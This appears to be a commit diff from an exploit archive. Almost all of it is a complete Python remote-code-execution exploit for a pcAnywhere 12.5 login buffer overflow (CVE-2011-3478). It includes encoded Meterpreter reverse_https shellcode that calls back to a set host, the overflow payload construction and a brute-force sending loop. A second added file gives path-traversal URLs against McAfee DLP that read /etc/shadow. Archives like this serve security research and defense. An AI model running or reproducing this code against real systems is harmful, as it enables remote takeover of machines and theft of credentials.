'Offset': 0x03fa0000,
|
||||
'PasswordStringLength': 3500,
|
||||
'TestAttempts': [23, 49, 98, 28, 4, 31, 4, 42, 50, 42]
|
||||
};
|
||||
|
||||
|
||||
# target server OS
|
||||
# >>> MODIFY THIS >>>
|
||||
#OSdictionary = vistaUltSP1
|
||||
#OSdictionary = vistaUltSP2
|
||||
#OSdictionary = s2k8EntSP2
|
||||
#OSdictionary = sevenProSP1
|
||||
OSdictionary = sevenUltSP1
|
||||
|
||||
|
||||
# timeout values
|
||||
shellcodeExecutionTimeout = 30
|
||||
|
||||
|
||||
# client-server handshake
|
||||
initialisationSequence = "\x00\x00\x00\x00"
|
||||
handshakeSequence = "\x0d\x06\xfe"
|
||||
|
||||
|
||||
# username string
|
||||
usernameString = "U" * 175
|
||||
|
||||
|
||||
# shellcode
|
||||
# available shellcode space: 1289 bytes
|
||||
# shellcode generated with Metasploit Framework Version: 4.11.4-2015090201 (Kali 2.0)
|
||||
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=192.168.80.223 LPORT=443 EXITFUNC=seh -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode
|
||||
# >>> MODIFY THIS >>>
|
||||
shellcode = ""
|
||||
shellcode += "\xda\xd3\xd9\x74\x24\xf4\xbf\x2c\x46\x39\x97\x5d"
|
||||
shellcode += "\x33\xc9\xb1\x87\x83\xed\xfc\x31\x7d\x14\x03\x7d"
|
||||
shellcode += "\x38\xa4\xcc\x6b\xa8\xaa\x2f\x94\x28\xcb\xa6\x71"
|
||||
shellcode += "\x19\xcb\xdd\xf2\x09\xfb\x96\x57\xa5\x70\xfa\x43"
|
||||
shellcode += "\x3e\xf4\xd3\x64\xf7\xb3\x05\x4a\x08\xef\x76\xcd"
|
||||
shellcode += "\x8a\xf2\xaa\x2d\xb3\x3c\xbf\x2c\xf4\x21\x32\x7c"
|
||||
shellcode += "\xad\x2e\xe1\x91\xda\x7b\x3a\x19\x90\x6a\x3a\xfe"
|
||||
shellcode += "\x60\x8c\x6b\x51\xfb\xd7\xab\x53\x28\x6c\xe2\x4b"
|
||||
shellcode += "\x2d\x49\xbc\xe0\x85\x25\x3f\x21\xd4\xc6\xec\x0c"
|
||||
shellcode += "\xd9\x34\xec\x49\xdd\xa6\x9b\xa3\x1e\x5a\x9c\x77"
|
||||
shellcode += "\x5d\x80\x29\x6c\xc5\x43\x89\x48\xf4\x80\x4c\x1a"
|
||||
shellcode += "\xfa\x6d\x1a\x44\x1e\x73\xcf\xfe\x1a\xf8\xee\xd0"
|
||||
shellcode += "\xab\xba\xd4\xf4\xf0\x19\x74\xac\x5c\xcf\x89\xae"
|
||||
shellcode += "\x3f\xb0\x2f\xa4\xad\xa5\x5d\xe7\xb9\x57\x3b\x6c"
|
||||
shellcode += "\x39\xc0\xb4\xe5\x57\x79\x6f\x9e\xeb\x0e\xa9\x59"
|
||||
shellcode += "\x0c\x25\x84\xbe\xa1\x95\xb4\x13\x16\x72\x01\xc2"
|
||||
shellcode += "\xe1\x25\x8a\x3f\x42\x79\x1f\xc3\x37\x2e\xb7\x78"
|
||||
shellcode += "\xb6\xd0\x47\x97\x86\xd1\x47\x67\xd9\x84\x3f\x54"
|
||||
shellcode += "\x6e\x11\x95\xaa\x3a\x37\x6f\xa8\xf7\xbe\xf8\x1d"
|
||||
shellcode += "\x4c\x16\x73\x50\x25\xc2\x0c\xa6\x91\xc1\xb0\x8b"
|
||||
shellcode += "\x53\x69\x76\x22\xd9\x46\x0a\x1a\xbc\xea\x87\xf9"
|
||||
shellcode += "\x09\xb2\x10\xcf\x14\x3c\xd0\x56\xb3\xc8\xba\xe0"
|
||||
shellcode += "\x69\x5a\x3a\xa2\xff\xf0\xf2\x73\x92\x4b\x79\x10"
|
||||
shellcode += "\x02\x3f\x4f\xdc\x8f\xdb\xe7\x4f\x6d\x1d\xa9\x1d"
|
||||
shellcode += "\x42\x0c\x70\x80\xcc\xe9\xe5\x0a\x55\x80\x8a\xc2"
|
||||
shellcode += "\x3d\x2a\x2f\xa5\xe2\xf1\xfe\x7d\x2a\x86\x6b\x08"
|
||||
shellcode += "\x27\x33\x2a\xbb\xbf\xf9\xd9\x7a\x7d\x87\x4f\x10"
|
||||
shellcode += "\xed\x0d\x1b\xad\x88\xc6\xb8\x50\x07\x6a\x74\xf1"
|
||||
shellcode += "\xd3\x2d\xd9\x84\x4e\xc0\x8e\x25\x23\x76\x60\xc9"
|
||||
shellcode += "\xb4\xd9\xf5\x64\x0e\x8e\xa6\x22\x05\x39\x3f\x98"
|
||||
shellcode += "\x96\x8e\xca\x4f\x79\x54\x64\x26\x33\x3d\xe7\xaa"
|
||||
shellcode += "\xa2\xb1\x90\x59\x4b\x74\x1a\xce\xf9\x0a\xc6\xd8"
|
||||
shellcode += "\xcc\x99\x49\x75\x47\x33\x0e\x1c\xd5\xf9\xde\xad"
|
||||
shellcode += "\xa3\x8c\x1e\x02\x3b\x38\x96\x3d\x7d\x39\x7d\xc8"
|
||||
shellcode += "\x47\x95\x16\xcb\x75\xfa\x63\x98\x2a\xa9\x3c\x4c"
|
||||
shellcode += "\x9a\x25\x28\x27\x0c\x8d\x51\x1d\xc6\x9b\xa7\xc1"
|
||||
shellcode += "\x8e\xdb\x8b\xfd\x4e\x55\x0b\x97\x4a\x35\xa6\x77"
|
||||
shellcode += "\x04\xdd\x43\xce\x36\x9b\x53\x1b\x15\xf7\xf8\xf7"
|
||||
shellcode += "\xcf\x9f\xd3\xf1\xf7\x24\xd3\x2b\x82\x1b\x5e\xdc"
|
||||
shellcode += "\xc3\xee\x78\x34\x90\x10\x7b\xc5\x4c\x51\x13\xc5"
|
||||
shellcode += "\x80\x51\xe3\xad\xa0\x51\xa3\x2d\xf3\x39\x7b\x8a"
|
||||
shellcode += "\xa0\x5c\x84\x07\xd5\xcc\x28\x21\x3e\xa5\xa6\x31"
|
||||
shellcode += "\xe0\x4a\x37\x61\xb6\x22\x25\x13\xbf\x51\xb6\xce"
|
||||
shellcode += "\x3a\x55\x3d\x3e\xcf\x51\xbf\x03\x4a\x9d\xca\x66"
|
||||
shellcode += "\x0c\xdd\x6a\x81\xdb\x1e\x6b\xae\x12\xd8\xa6\x7f"
|
||||
shellcode += "\x65\x2c\xff\x51\xbd\x60\xd1\x9f\x8f\xb3\x2d\x5b"
|
||||
shellcode += "\x11\xbd\x1f\x71\x87\xc2\x0c\x7a\x82\xa9\xb2\x47"
|
||||
|
||||
|
||||
|
||||
|
||||
################################
|
||||
### BUFFER OVERFLOW ###
|
||||
### STRING CONSTRUCTION ###
|
||||
################################
|
||||
|
||||
|
||||
# Calculate address values based on the OS offset
|
||||
pointerLocationAddress = OSdictionary['Offset'] + 0x00005ad8
|
||||
pointerForECXplus8Address = OSdictionary['Offset'] + 0x00005ad4
|
||||
breakPointAddress = OSdictionary['Offset'] + 0x000065af - 0x00010000
|
||||
|
||||
|
||||
# jump over the next 38 bytes (to the begining of the shellcode)
|
||||
jumpToShellcode = "\xeb\x26\x90\x90"
|
||||
|
||||
# pointerLocationAddress - the memory address location of the "pointerForECXplus8" variable
|
||||
pointerLocation = struct.pack('<L', pointerLocationAddress)
|
||||
|
||||
# CALL ESI from the application module ijl20.dll [aslr=false,rebase=false,safeseh=false]
|
||||
callESI = struct.pack('<L', 0x67f7ab23)
|
||||
|
||||
# pointerForECXplus8Address - the memory address location of the start of the DDDD string in the shellcode (Offset + 0x00005acc + 0x8)
|
||||
pointerForECXplus8 = struct.pack('<L', pointerForECXplus8Address)
|
||||
|
||||
|
||||
# construct the password string which will cause a buffer overflow condition and exploit the vulnerability
|
||||
passwordString = (
|
||||
"A" * 945 +
|
||||
jumpToShellcode +
|
||||
pointerLocation +
|
||||
"D" * 4 +
|
||||
pointerForECXplus8 +
|
||||
callESI +
|
||||
"\x90" * 20 +
|
||||
shellcode +
|
||||
"I" * (1289 - len(shellcode)) +
|
||||
"\xaa" * (OSdictionary['PasswordStringLength'] - 945 - 4 * 5 - 20 - 1289)
|
||||
)
|
||||
|
||||
|
||||
|
||||
|
||||
################################
|
||||
### FUNCTIONS ###
|
||||
################################
|
||||
|
||||
|
||||
# calculate and return the median value of the argument list
|
||||
def calculateMedian(targetList):
|
||||
sortedTargetList = sorted(targetList)
|
||||
targetListLength = len(targetList)
|
||||
medianIndex = (targetListLength - 1) / 2
|
||||
|
||||
if (targetListLength % 2):
|
||||
return sortedTargetList[medianIndex]
|
||||
else:
|
||||
return ((sortedTargetList[medianIndex] + sortedTargetList[medianIndex + 1]) / 2)
|
||||
|
||||
|
||||
|
||||
# print an indented line with a type prefix
|
||||
def printLine(infoType, indentDepth, textToDisplay):
|
||||
|
||||
# [I]nformational
|
||||
if infoType == "I":
|
||||
print (' ' * indentDepth),
|
||||
print "\033[1;37m[*]\033[1;m", textToDisplay
|
||||
|
||||
# [E]rror
|
||||
elif infoType == "E":
|
||||
print (' ' * indentDepth),
|
||||
print "\033[1;31m[-]\033[1;m", textToDisplay
|
||||
|
||||
# [S]uccess
|
||||
elif infoType == "S":
|
||||
print (' ' * indentDepth),
|
||||
print "\033[1;32m[+]\033[1;m", textToDisplay
|
||||
|
||||
# [W]arning
|
||||
elif infoType == "W":
|
||||
print (' ' * indentDepth),
|
||||
print "\033[1;33m[!]\033[1;m", textToDisplay
|
||||
|
||||
# [N]one
|
||||
elif infoType == "N":
|
||||
print (' ' * indentDepth),
|
||||
print textToDisplay
|
||||
|
||||
|
||||
|
||||
# print the banner - general exploit info, target info, target OS statistics
|
||||
def printBanner():
|
||||
printLine ("I", 0, "Symantec pcAnywhere v12.5.0 Build 442 Login+Password field")
|
||||
printLine ("N", 1, "Buffer Overflow Remote Code Execution exploit (CVE-2011-3478)")
|
||||
printLine ("I", 1, "by Tomislav Paskalev")
|
||||
|
||||
printLine ("I", 0, "Target server information")
|
||||
printLine ("I", 1, "IP address : " + targetServer)
|
||||
printLine ("I", 1, "Port : " + str(targetPort))
|
||||
|
||||
printLine ("I", 0, "Exploit target information")
|
||||
printLine ("I", 1, "Target OS : " + OSdictionary['Version'])
|
||||
printLine ("I", 2, "Offset : " + "{:#010x}".format(OSdictionary['Offset']))
|
||||
printLine ("I", 2, "Breakpoint (test) : " + "{:#010x}".format(breakPointAddress))
|
||||
printLine ("I", 2, "Password length : " + str(OSdictionary['PasswordStringLength']))
|
||||
printLine ("I", 2, "Test result stats")
|
||||
printLine ("I", 3, "Test count : " + str(len(OSdictionary['TestAttempts'])))
|
||||
printLine ("I", 3, "Reliability : " + str(((len(OSdictionary['TestAttempts']) - OSdictionary['TestAttempts'].count(0)) * 100) / len(OSdictionary['TestAttempts'])) + "%")
|
||||
printLine ("I", 3, "Min attempt : " + str(min([element for element in OSdictionary['TestAttempts'] if element > 0])))
|
||||
printLine ("I", 3, "Max attempt : " + str(max(OSdictionary['TestAttempts'])))
|
||||
printLine ("I", 3, "Avg attempt : " + str(sum(OSdictionary['TestAttempts']) / len(OSdictionary['TestAttempts'])))
|
||||
printLine ("I", 3, "Median attempt: " + str(calculateMedian(OSdictionary['TestAttempts'])))
|
||||
|
||||
|
||||
|
||||
# connect to the server and return the socket
|
||||
def connectToServer(server, port):
|
||||
# create socket
|
||||
targetSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
targetSocket.connect((server, port))
|
||||
except socket.error as msg:
|
||||
if "[Errno 111] Connection refused" in str(msg):
|
||||
return None
|
||||
# return the opened socket
|
||||
return targetSocket
|
||||
|
||||
|
||||
|
||||
# send the data to the server and return the response
|
||||
def sendDataToServer(destSocket, dataToSend):
|
||||
destSocket.send(dataToSend)
|
||||
try:
|
||||
receivedData = destSocket.recv(1024)
|
||||
except socket.error as msg:
|
||||
if "[Errno 104] Connection reset by peer" in str(msg):
|
||||
return None
|
||||
return receivedData
|
||||
|
||||
|
||||
|
||||
# run the exploit; exits when finished or interrupted
|
||||
def runExploit():
|
||||
printLine ("I", 0, "Starting exploit...")
|
||||
|
||||
attemptCounter = 0
|
||||
|
||||
# brute force the service until the shellcode is successfully executed
|
||||
while True:
|
||||
# connect to the target server
|
||||
openSocket = connectToServer(targetServer, targetPort)
|
||||
|
||||
attemptCounter += 1
|
||||
sleepTimer = 0
|
||||
|
||||
printLine ("I", 1, "Attempt no. " + str(attemptCounter))
|
||||
printLine ("I", 2, "Sending initialisation sequence...")
|
||||
|
||||
# send the data; check outcome
|
||||
while True:
|
||||
receivedData = sendDataToServer(openSocket, initialisationSequence)
|
||||
# check if server responded properly, if yes exit the loop
|
||||
if receivedData:
|
||||
if "Please press <Enter>..." in receivedData:
|
||||
break
|
||||
# exit if the service is unavailable
|
||||
if attemptCounter == 1:
|
||||
printLine ("E", 3, "Service unavailable")
|
||||
printLine ("I", 4, "Exiting...")
|
||||
exit(1)
|
||||
# check if shellcode executed (based on a timer)
|
||||
if sleepTimer > shellcodeExecutionTimeout:
|
||||
print ""
|
||||
printLine ("S", 4, "Shellcode executed after " + str(attemptCounter - 1) + " attempts")
|
||||
printLine ("I", 5, "Exiting...")
|
||||
exit(1)
|
||||
|
||||
# print waiting ticks
|
||||
sys.stdout.write('\r')
|
||||
sys.stdout.write(" \033[1;33m[!]\033[1;m Connection reset - reinitialising%s" % ('.' * sleepTimer))
|
||||
sys.stdout.flush()
|
||||
|
||||
# sleep one second and reconnect
|
||||
time.sleep(1)
|
||||
sleepTimer += 1
|
||||
|
||||
openSocket.close()
|
||||
openSocket = connectToServer(targetServer, targetPort)
|
||||
|
||||
if sleepTimer > 0:
|
||||
print ""
|
||||
|
||||
printLine ("I", 2, "Sending handshake sequence...")
|
||||
openSocket.send(handshakeSequence)
|
||||
time.sleep(3)
|
||||
data = openSocket.recv(1024)
|
||||
|
||||
printLine ("I", 2, "Sending username...")
|
||||
openSocket.send(usernameString)
|
||||
time.sleep(3)
|
||||
|
||||
printLine ("I", 2, "Sending password...")
|
||||
openSocket.send(passwordString)
|
||||
openSocket.close()
|
||||
time.sleep(3)
|
||||
|
||||
|
||||
|
||||
# main function
|
||||
if __name__ == "__main__":
|
||||
printBanner()
|
||||
try:
|
||||
runExploit()
|
||||
except KeyboardInterrupt:
|
||||
print ""
|
||||
sys.exit()
|
||||
|
||||
|
||||
# End of file
|
||||
11
platforms/windows/local/38631.txt
Executable file
11
platforms/windows/local/38631.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/61033/info
|
||||
|
||||
McAfee Data Loss Prevention is prone to multiple information-disclosure vulnerabilities.
|
||||
|
||||
Attackers can exploit these issues to disclose contents of arbitrary files and obtain sensitive information. This may aid in launching further attacks.
|
||||
|
||||
McAfee Data Loss Prevention 9.2.1 is vulnerable; prior versions may also be affected.
|
||||
|
||||
https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=shadow&cmdName=false
|
||||
|
||||
https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=syslog.conf&cmdName=false
|
||||
|
|
@ -8,6 +8,8 @@
|
|||
# Tested on: Windows XP SP2
|
||||
# CVE: CVE-2011-3478
|
||||
|
||||
#EDB Note: Needs adjustment but there is a crash
|
||||
|
||||
# Code :
|
||||
import socket
|
||||
import time
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue